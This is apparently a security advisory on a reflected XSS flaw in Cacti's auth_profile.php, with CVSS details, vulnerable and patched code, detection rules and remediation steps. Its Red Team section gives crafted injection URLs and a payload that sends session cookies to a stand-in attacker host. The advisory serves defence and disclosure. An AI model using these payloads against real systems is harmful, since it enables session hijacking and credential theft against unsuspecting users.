CVE-2026-39900

Executive Summary

CVE-2026-39900 is a reflected Cross-Site Scripting (XSS) vulnerability in Cacti, an open-source performance and fault management framework. The flaw exists in versions 1.2.30 and prior, specifically within the auth_profile.php file. An attacker can inject arbitrary JavaScript code via the tab parameter, which is reflected back to the user without proper sanitization. This allows for session hijacking, credential theft, or defacement. The vulnerability has been fixed in version 1.2.31.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the Cacti application directly. Users should verify the integrity of their Cacti installation by checking the official source or package signatures before upgrading.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction (clicking a crafted link), but the impact can lead to session hijacking and data theft.

Deep Dive & Mechanics

The vulnerability resides in auth_profile.php. The tab parameter is taken directly from the HTTP GET request and echoed back into the page's JavaScript context without proper encoding or sanitization. An attacker can craft a URL like:

http://target/cacti/auth_profile.php?tab=1%22%3E%3Cscript%3Ealert(1)%3C/script%3E

When a victim clicks this link, the injected script executes in the context of the Cacti application, allowing the attacker to steal cookies, perform actions on behalf of the user, or redirect to malicious sites.

The root cause is the lack of output encoding for user-controlled input in the JavaScript context. The fix in version 1.2.31 properly sanitizes the tab parameter using htmlspecialchars() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (1.2.30):

// auth_profile.php
$tab = $_GET['tab'];
echo "<script>var tab = '$tab';</script>";

Patched Code (1.2.31):

// auth_profile.php
$tab = htmlspecialchars($_GET['tab'], ENT_QUOTES, 'UTF-8');
echo "<script>var tab = '$tab';</script>";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Cacti instance (version 1.2.30 or earlier)
• A web browser or tool to craft the malicious URL

Exploit Steps:

1. Identify a target Cacti instance.
2. Craft a malicious URL:

   http://target/cacti/auth_profile.php?tab=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
   

3. Send the link to a victim (e.g., via email or social engineering).
4. When the victim clicks the link, the injected JavaScript executes, stealing their session cookie.

Example Payload:

<script>
  var img = new Image();
  img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

Blue Team

Detection:

• Monitor web server logs for requests to auth_profile.php with suspicious tab parameters containing <script> tags or encoded characters.
• Use WAF rules to block requests with XSS patterns in the tab parameter.

Hunting:

• Search for HTTP requests with tab parameter containing %3Cscript%3E or similar patterns.
• Analyze user agent strings for automated tools.

Mitigation:

• Immediately upgrade to Cacti 1.2.31.
• If upgrade is not possible, apply a virtual patch using a WAF to block malicious tab parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /cacti/auth_profile.php with tab parameter containing <script> tags or URL-encoded equivalents.
  • Outbound connections to attacker-controlled domains from the Cacti server.

• File IOCs:

  • Modified auth_profile.php file (if attacker has write access).
  • Suspicious entries in web server access logs.

• Behavioral IOCs:

  • Unexpected JavaScript execution in the browser.
  • Session cookie theft or unusual account activity.

Detection Engineering

YARA Rule

rule CVE_2026_39900_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Cacti auth_profile.php"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-39900"
    strings:
        $xss_pattern1 = /auth_profile\.php\?tab=.*<script>/i
        $xss_pattern2 = /auth_profile\.php\?tab=.*%3Cscript%3E/i
        $xss_pattern3 = /auth_profile\.php\?tab=.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: Cacti Reflected XSS via tab Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against Cacti auth_profile.php
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39900
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'auth_profile.php?tab='
        cs-uri-query|re: '(?i)<script>|%3Cscript%3E|onerror'
    condition: selection
falsepositives:
    - Legitimate use of script tags in tab parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-39900 Cacti Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"auth_profile.php"; http_uri; content:"tab="; http_uri; pcre:"/(?i)<script>|%3Cscript%3E|onerror/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Cacti to version 1.2.31 or later.
2. If upgrade is not possible, apply a virtual patch using a Web Application Firewall (WAF) to block malicious tab parameters.
3. Review web server logs for signs of exploitation.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS.
• Conduct regular security audits and penetration testing.
• Ensure all user input is properly sanitized and output encoded.

Patch Details:

• Official fix: Upgrade to Cacti 1.2.31.
• No official patch for older versions; upgrade is required.

Valters IT
Securing Digital Frontiers